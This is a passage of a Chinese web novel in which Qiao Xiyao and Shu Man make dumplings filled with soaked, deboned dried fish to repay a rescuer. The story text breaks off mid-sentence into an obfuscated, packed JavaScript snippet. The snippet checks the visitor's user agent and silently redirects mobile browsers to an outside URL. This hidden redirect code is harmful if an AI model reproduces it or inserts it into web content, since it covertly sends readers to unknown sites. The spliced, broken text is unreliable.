佛。你不知道,为了让鱼肉吃起来没有鱼刺卡喉咙,我光挑鱼刺,都挑了老半天,手都弄酸了。”
昨天说好要做饺子给解堰吃,答谢他的救命之恩,乔希瑶本来想去镇上的副食店买肉回来做肉馅饺子给他吃的,但石水村地势偏僻,要去最近的镇上都要半天的时间。
而且镇上只有一个供销社和副食品店,那里也不是天天卖肉的,只有赶集的时候才会杀一两头猪卖,附近村镇的人一早就会排队去买,去晚了,连没人要的骨头都捞不着。
乔希瑶思来想去,看见舒曼早前在水库里捉得鱼,还剩下一条挂在她床头,风干的不成样了,她心中一动,向舒曼提议,用她的风干鱼做鱼肉馅的饺子吃,相对的,做饺子需要用的面粉、蔬菜油盐调料啥得由她来出,舒曼就只用鱼来做搭伙。
舒曼二话没说就答应了,实在是那条风干咸鱼,她还不知道怎么吃,而白面的价格明显比咸鱼贵,她和乔希瑶搭伙,算起来她还占了乔希瑶的便宜。
两人这段时日搭伙吃饭,也没有谁占谁便宜的心思,基本上都是自己有的都会拿给对方吃。
乔希瑶拿到她的风干咸鱼,头一天晚上就泡在水里,一是为了把多余的盐味泡淡,另一个是为了让风干的硬邦邦能打死人的咸鱼软化。
今天一大早,又换了一次水,拿着一把小镊子,把泡软风干鱼上的鱼刺,一根根地仔仔细细挑出来,再把鱼肉切成丁,合着切好的白菜、萝卜丁一起炒,炒了满满一大盘。
“辛苦你了,你的厨艺可真好,那样一条干得能打死人的咸鱼,你都能化腐朽为神奇,做成这么香的鱼肉馅儿。”
舒曼坐在凳子上,闻到荤素搭配的‘肉馅’喷香味道,一边流口水,一边学着乔希瑶的样子,小心翼翼地挖一勺‘肉馅’,放进饺子,捏了个奇丑无比的饺子,有些不好意思道:“瑶瑶,我很想帮你做饺子,可是你看,我做得可真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192184|148242||http|test|mini|href|location''.split(''|''),0,{})